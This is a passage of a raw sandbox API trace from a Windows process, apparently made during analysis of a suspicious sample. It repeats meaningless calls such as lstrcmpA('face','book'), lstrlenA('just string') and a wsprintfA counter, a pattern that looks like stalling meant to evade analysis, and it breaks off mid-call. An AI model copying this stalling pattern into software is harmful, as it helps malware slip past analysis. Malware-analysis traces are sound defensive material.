[0121.718] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="8E3P") returned 4 [0121.718] SetLastError (dwErrCode=0x57) [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetLastError () returned 0x57 [0121.718] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="8E4P") returned 4 [0121.718] SetLastError (dwErrCode=0x57) [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] lstrlenA (lpString="just string") returned 11 [0121.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.718] GetLastError () returned 0x57 [0121.718] GetLastError () returned 0x57 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] lstrlenA (lpString="just string") returned 11 [0121.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.718] GetLastError () returned 0x57 [0121.718] lstrlenA (lpString="just string") returned 11 [0121.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.718] GetLastError () returned 0x57 [0121.718] GetCurrentProcess () returned 0xffffffff [0121.718] GetLastError () returned 0x57 [0121.718] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="9FBP") returned 4 [0121.718] SetLastError (dwErrCode=0x57) [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetLastError () returned 0x57 [0121.718] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="9FCP") returned 4 [0121.718] SetLastError (dwErrCode=0x57) [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.718] GetCurrentProcessId () returned 0x5d8 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] lstrlenA (lpString="just string") returned 11 [0121.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.719] GetLastError () returned 0x57 [0121.719] GetLastError () returned 0x57 [0121.719] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.719] SetLastError (dwErrCode=0x57) [0121.719] GetCurrentProcess () returned 0xffffffff [0121.719] GetLastError () returned 0x57 [0121.719] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="A04P") returned 4 [0121.719] SetLastError (dwErrCode=0x57) [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] GetCurrentProcess () returned 0xffffffff [0121.719] GetLastError () returned 0x57 [0121.719] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="A05P") returned 4 [0121.719] SetLastError (dwErrCode=0x57) [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] GetLastError () returned 0x57 [0121.719] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="A06P") returned 4 [0121.719] SetLastError (dwErrCode=0x57) [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] lstrlenA (lpString="just string") returned 11 [0121.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.719] GetLastError () returned 0x57 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] lstrlenA (lpString="just string") returned 11 [0121.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.719] GetLastError () returned 0x57 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] lstrlenA (lpString="just string") returned 11 [0121.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.719] GetLastError () returned 0x57 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] lstrlenA (lpString="just string") returned 11 [0121.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.719] GetLastError () returned 0x57 [0121.719] lstrlenA (lpString="just string") returned 11 [0121.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.719] GetLastError () returned 0x57 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] lstrlenA (lpString="just string") returned 11 [0121.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.719] GetLastError () returned 0x57 [0121.719] GetLastError () returned 0x57 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] GetCurrentProcessId () returned 0x5d8 [0121.719] lstrlenA (lpString="just string") returned 11 [0121.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.719] GetLastError () returned 0x57 [0121.719] GetLastError () returned 0x57 [0121.719] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="B1EP") returned 4 [0121.719] SetLastError (dwErrCode=0x57) [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] lstrlenA (lpString="just string") returned 11 [0121.720] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.720] GetLastError () returned 0x57 [0121.720] lstrlenA (lpString="just string") returned 11 [0121.720] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.720] GetLastError () returned 0x57 [0121.720] GetLastError () returned 0x57 [0121.720] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.720] SetLastError (dwErrCode=0x57) [0121.720] GetCurrentProcess () returned 0xffffffff [0121.720] GetLastError () returned 0x57 [0121.720] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="B80P") returned 4 [0121.720] SetLastError (dwErrCode=0x57) [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcess () returned 0xffffffff [0121.720] GetLastError () returned 0x57 [0121.720] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="B81P") returned 4 [0121.720] SetLastError (dwErrCode=0x57) [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetLastError () returned 0x57 [0121.720] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="B82P") returned 4 [0121.720] SetLastError (dwErrCode=0x57) [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] lstrlenA (lpString="just string") returned 11 [0121.720] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.720] GetLastError () returned 0x57 [0121.720] GetLastError () returned 0x57 [0121.720] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.720] SetLastError (dwErrCode=0x57) [0121.720] GetCurrentProcess () returned 0xffffffff [0121.720] GetLastError () returned 0x57 [0121.720] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="BBCP") returned 4 [0121.720] SetLastError (dwErrCode=0x57) [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcess () returned 0xffffffff [0121.720] GetLastError () returned 0x57 [0121.720] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="BBDP") returned 4 [0121.720] SetLastError (dwErrCode=0x57) [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetLastError () returned 0x57 [0121.720] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="BBEP") returned 4 [0121.720] SetLastError (dwErrCode=0x57) [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] lstrlenA (lpString="just string") returned 11 [0121.720] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.720] GetLastError () returned 0x57 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] GetCurrentProcessId () returned 0x5d8 [0121.720] lstrlenA (lpString="just string") returned 11 [0121.720] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.721] GetLastError () returned 0x57 [0121.721] GetCurrentProcess () returned 0xffffffff [0121.721] GetLastError () returned 0x57 [0121.721] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="C03P") returned 4 [0121.721] SetLastError (dwErrCode=0x57) [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetLastError () returned 0x57 [0121.721] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="C04P") returned 4 [0121.721] SetLastError (dwErrCode=0x57) [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] lstrlenA (lpString="just string") returned 11 [0121.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.721] GetLastError () returned 0x57 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] lstrlenA (lpString="just string") returned 11 [0121.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.721] GetLastError () returned 0x57 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] lstrlenA (lpString="just string") returned 11 [0121.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.721] GetLastError () returned 0x57 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] lstrlenA (lpString="just string") returned 11 [0121.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.721] GetLastError () returned 0x57 [0121.721] GetLastError () returned 0x57 [0121.721] GetLastError () returned 0x57 [0121.721] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.721] SetLastError (dwErrCode=0x57) [0121.721] GetCurrentProcess () returned 0xffffffff [0121.721] GetLastError () returned 0x57 [0121.721] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="CB6P") returned 4 [0121.721] SetLastError (dwErrCode=0x57) [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetCurrentProcess () returned 0xffffffff [0121.721] GetLastError () returned 0x57 [0121.721] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="CB7P") returned 4 [0121.721] SetLastError (dwErrCode=0x57) [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetLastError () returned 0x57 [0121.721] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="CB8P") returned 4 [0121.721] SetLastError (dwErrCode=0x57) [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] lstrlenA (lpString="just string") returned 11 [0121.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.721] GetLastError () returned 0x57 [0121.721] GetLastError () returned 0x57 [0121.721] lstrlenA (lpString="just string") returned 11 [0121.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.721] GetLastError () returned 0x57 [0121.721] GetCurrentProcessId () returned 0x5d8 [0121.721] lstrlenA (lpString="just string") returned 11 [0121.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.721] GetLastError () returned 0x57 [0121.722] lstrlenA (lpString="just string") returned 11 [0121.722] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.722] GetLastError () returned 0x57 [0121.722] GetLastError () returned 0x57 [0121.722] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.722] SetLastError (dwErrCode=0x57) [0121.722] GetCurrentProcess () returned 0xffffffff [0121.722] GetLastError () returned 0x57 [0121.722] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="D74P") returned 4 [0121.722] SetLastError (dwErrCode=0x57) [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcess () returned 0xffffffff [0121.722] GetLastError () returned 0x57 [0121.722] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="D75P") returned 4 [0121.722] SetLastError (dwErrCode=0x57) [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetLastError () returned 0x57 [0121.722] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="D76P") returned 4 [0121.722] SetLastError (dwErrCode=0x57) [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] lstrlenA (lpString="just string") returned 11 [0121.722] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.722] GetLastError () returned 0x57 [0121.722] GetCurrentProcess () returned 0xffffffff [0121.722] GetLastError () returned 0x57 [0121.722] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="D7FP") returned 4 [0121.722] SetLastError (dwErrCode=0x57) [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetLastError () returned 0x57 [0121.722] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="D80P") returned 4 [0121.722] SetLastError (dwErrCode=0x57) [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] lstrlenA (lpString="just string") returned 11 [0121.722] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.722] GetLastError () returned 0x57 [0121.722] GetLastError () returned 0x57 [0121.722] GetCurrentProcess () returned 0xffffffff [0121.722] GetLastError () returned 0x57 [0121.722] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="DBBP") returned 4 [0121.722] SetLastError (dwErrCode=0x57) [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetLastError () returned 0x57 [0121.722] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="DBCP") returned 4 [0121.722] SetLastError (dwErrCode=0x57) [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] GetCurrentProcessId () returned 0x5d8 [0121.722] lstrlenA (lpString="just string") returned 11 [0121.722] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.722] GetLastError () returned 0x57 [0121.722] GetLastError () returned 0x57 [0121.723] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.723] SetLastError (dwErrCode=0x57) [0121.723] GetCurrentProcess () returned 0xffffffff [0121.723] GetLastError () returned 0x57 [0121.723] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="DF6P") returned 4 [0121.723] SetLastError (dwErrCode=0x57) [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] GetCurrentProcess () returned 0xffffffff [0121.723] GetLastError () returned 0x57 [0121.723] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="DF7P") returned 4 [0121.723] SetLastError (dwErrCode=0x57) [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] GetLastError () returned 0x57 [0121.723] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="DF8P") returned 4 [0121.723] SetLastError (dwErrCode=0x57) [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] lstrlenA (lpString="just string") returned 11 [0121.723] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.723] GetLastError () returned 0x57 [0121.723] GetCurrentProcess () returned 0xffffffff [0121.723] GetLastError () returned 0x57 [0121.723] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="E01P") returned 4 [0121.723] SetLastError (dwErrCode=0x57) [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] GetLastError () returned 0x57 [0121.723] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="E02P") returned 4 [0121.723] SetLastError (dwErrCode=0x57) [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] GetCurrentProcessId () returned 0x5d8 [0121.723] lstrlenA (lpString="just string") returned 11 [0121.723] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.723] GetLastError () returned 0x57 [0121.723] GetCurrentProcess () returned 0xffffffff [0121.723] GetLastError () returned 0x57 [0121.723] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="E3DP") returned 4 [0121.723] SetLastError (dwErrCode=0x57) [0121.723] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="E3EP") returned 4 [0121.723] SetLastError (dwErrCode=0x57) [0121.723] lstrlenA (lpString="just string") returned 11 [0121.723] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.723] GetLastError () returned 0x57 [0121.723] lstrlenA (lpString="just string") returned 11 [0121.723] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.723] GetLastError () returned 0x57 [0121.723] GetLastError () returned 0x57 [0121.723] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.723] SetLastError (dwErrCode=0x57) [0121.723] GetCurrentProcess () returned 0xffffffff [0121.723] GetLastError () returned 0x57 [0121.723] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="EC8P") returned 4 [0121.723] SetLastError (dwErrCode=0x57) [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="EC9P") returned 4 [0121.724] SetLastError (dwErrCode=0x57) [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="ECAP") returned 4 [0121.724] SetLastError (dwErrCode=0x57) [0121.724] lstrlenA (lpString="just string") returned 11 [0121.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.724] GetLastError () returned 0x57 [0121.724] GetLastError () returned 0x57 [0121.724] GetLastError () returned 0x57 [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="EDEP") returned 4 [0121.724] SetLastError (dwErrCode=0x57) [0121.724] lstrlenA (lpString="just string") returned 11 [0121.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.724] GetLastError () returned 0x57 [0121.724] lstrlenA (lpString="just string") returned 11 [0121.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.724] GetLastError () returned 0x57 [0121.724] lstrlenA (lpString="just string") returned 11 [0121.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.724] GetLastError () returned 0x57 [0121.724] GetCurrentProcess () returned 0xffffffff [0121.724] GetLastError () returned 0x57 [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="F69P") returned 4 [0121.724] SetLastError (dwErrCode=0x57) [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="F6AP") returned 4 [0121.724] SetLastError (dwErrCode=0x57) [0121.724] lstrlenA (lpString="just string") returned 11 [0121.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.724] GetLastError () returned 0x57 [0121.724] GetLastError () returned 0x57 [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="F88P") returned 4 [0121.724] SetLastError (dwErrCode=0x57) [0121.724] lstrlenA (lpString="just string") returned 11 [0121.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.724] GetLastError () returned 0x57 [0121.724] GetLastError () returned 0x57 [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="FA6P") returned 4 [0121.724] SetLastError (dwErrCode=0x57) [0121.724] lstrlenA (lpString="just string") returned 11 [0121.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.724] GetLastError () returned 0x57 [0121.724] lstrlenA (lpString="just string") returned 11 [0121.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.724] GetLastError () returned 0x57 [0121.724] GetLastError () returned 0x57 [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="FECP") returned 4 [0121.724] SetLastError (dwErrCode=0x57) [0121.724] lstrlenA (lpString="just string") returned 11 [0121.724] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.724] GetLastError () returned 0x57 [0121.724] GetCurrentProcess () returned 0xffffffff [0121.724] GetLastError () returned 0x57 [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1045P") returned 5 [0121.724] SetLastError (dwErrCode=0x57) [0121.724] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1046P") returned 5 [0121.724] SetLastError (dwErrCode=0x57) [0121.725] lstrlenA (lpString="just string") returned 11 [0121.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.725] GetLastError () returned 0x57 [0121.725] lstrlenA (lpString="just string") returned 11 [0121.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.725] GetLastError () returned 0x57 [0121.725] GetLastError () returned 0x57 [0121.725] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] GetCurrentProcess () returned 0xffffffff [0121.725] GetLastError () returned 0x57 [0121.725] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="10D0P") returned 5 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="10D1P") returned 5 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="10D2P") returned 5 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] lstrlenA (lpString="just string") returned 11 [0121.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.725] GetLastError () returned 0x57 [0121.725] lstrlenA (lpString="just string") returned 11 [0121.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.725] GetLastError () returned 0x57 [0121.725] GetLastError () returned 0x57 [0121.725] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="10F0P") returned 5 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] lstrlenA (lpString="just string") returned 11 [0121.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.725] GetLastError () returned 0x57 [0121.725] GetCurrentProcess () returned 0xffffffff [0121.725] GetLastError () returned 0x57 [0121.725] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="112BP") returned 5 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="112CP") returned 5 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] lstrlenA (lpString="just string") returned 11 [0121.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.725] GetLastError () returned 0x57 [0121.725] lstrlenA (lpString="just string") returned 11 [0121.725] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.725] GetLastError () returned 0x57 [0121.725] GetLastError () returned 0x57 [0121.725] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] GetCurrentProcess () returned 0xffffffff [0121.725] GetLastError () returned 0x57 [0121.725] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="115CP") returned 5 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="115DP") returned 5 [0121.725] SetLastError (dwErrCode=0x57) [0121.725] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="115EP") returned 5 [0121.725] SetLastError (dwErrCode=0x57) [0121.726] lstrlenA (lpString="just string") returned 11 [0121.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.726] GetLastError () returned 0x57 [0121.726] GetLastError () returned 0x57 [0121.726] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] GetCurrentProcess () returned 0xffffffff [0121.726] GetLastError () returned 0x57 [0121.726] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="11A2P") returned 5 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="11A3P") returned 5 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="11A4P") returned 5 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] lstrlenA (lpString="just string") returned 11 [0121.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.726] GetLastError () returned 0x57 [0121.726] lstrlenA (lpString="just string") returned 11 [0121.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.726] GetLastError () returned 0x57 [0121.726] lstrlenA (lpString="just string") returned 11 [0121.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.726] GetLastError () returned 0x57 [0121.726] lstrlenA (lpString="just string") returned 11 [0121.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.726] GetLastError () returned 0x57 [0121.726] lstrlenA (lpString="just string") returned 11 [0121.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.726] GetLastError () returned 0x57 [0121.726] GetCurrentProcess () returned 0xffffffff [0121.726] GetLastError () returned 0x57 [0121.726] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="127FP") returned 5 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1280P") returned 5 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] lstrlenA (lpString="just string") returned 11 [0121.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.726] GetLastError () returned 0x57 [0121.726] GetLastError () returned 0x57 [0121.726] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] GetCurrentProcess () returned 0xffffffff [0121.726] GetLastError () returned 0x57 [0121.726] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="12B0P") returned 5 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="12B1P") returned 5 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="12B2P") returned 5 [0121.726] SetLastError (dwErrCode=0x57) [0121.726] lstrlenA (lpString="just string") returned 11 [0121.726] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.727] GetLastError () returned 0x57 [0121.727] lstrlenA (lpString="just string") returned 11 [0121.727] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.727] GetLastError () returned 0x57 [0121.727] lstrlenA (lpString="just string") returned 11 [0121.727] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.727] GetLastError () returned 0x57 [0121.727] lstrlenA (lpString="just string") returned 11 [0121.727] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.727] GetLastError () returned 0x57 [0121.727] GetLastError () returned 0x57 [0121.727] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0121.727] SetLastError (dwErrCode=0x57) [0121.727] GetCurrentProcess () returned 0xffffffff [0121.727] GetLastError () returned 0x57 [0121.727] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="133CP") returned 5 [0121.727] SetLastError (dwErrCode=0x57) [0121.727] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="133DP") returned 5 [0121.727] SetLastError (dwErrCode=0x57) [0121.727] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="133EP") returned 5 [0121.727] SetLastError (dwErrCode=0x57) [0121.727] lstrlenA (lpString="just string") returned 11 [0121.727] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.727] GetLastError () returned 0x57 [0121.727] GetLastError () returned 0x57 [0121.727] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.727] SetLastError (dwErrCode=0x57) [0121.727] GetCurrentProcess () returned 0xffffffff [0121.727] GetLastError () returned 0x57 [0121.727] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1346P") returned 5 [0121.727] SetLastError (dwErrCode=0x57) [0121.727] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1347P") returned 5 [0121.727] SetLastError (dwErrCode=0x57) [0121.727] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="1348P") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] lstrlenA (lpString="just string") returned 11 [0121.728] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0121.728] GetLastError () returned 0x57 [0121.728] GetLastError () returned 0x57 [0121.728] lstrcmpA (lpString1="\x18|\x82", lpString2="luck") returned -1 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] GetCurrentProcess () returned 0xffffffff [0121.728] GetLastError () returned 0x57 [0121.728] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="135AP") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="135BP") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] wsprintfA (in: param_1=0x34fda3, param_2="%X%P" | out: param_1="135CP") returned 5 [0121.728] SetLastError (dwErrCode=0x57) [0121.728] lstrlenA 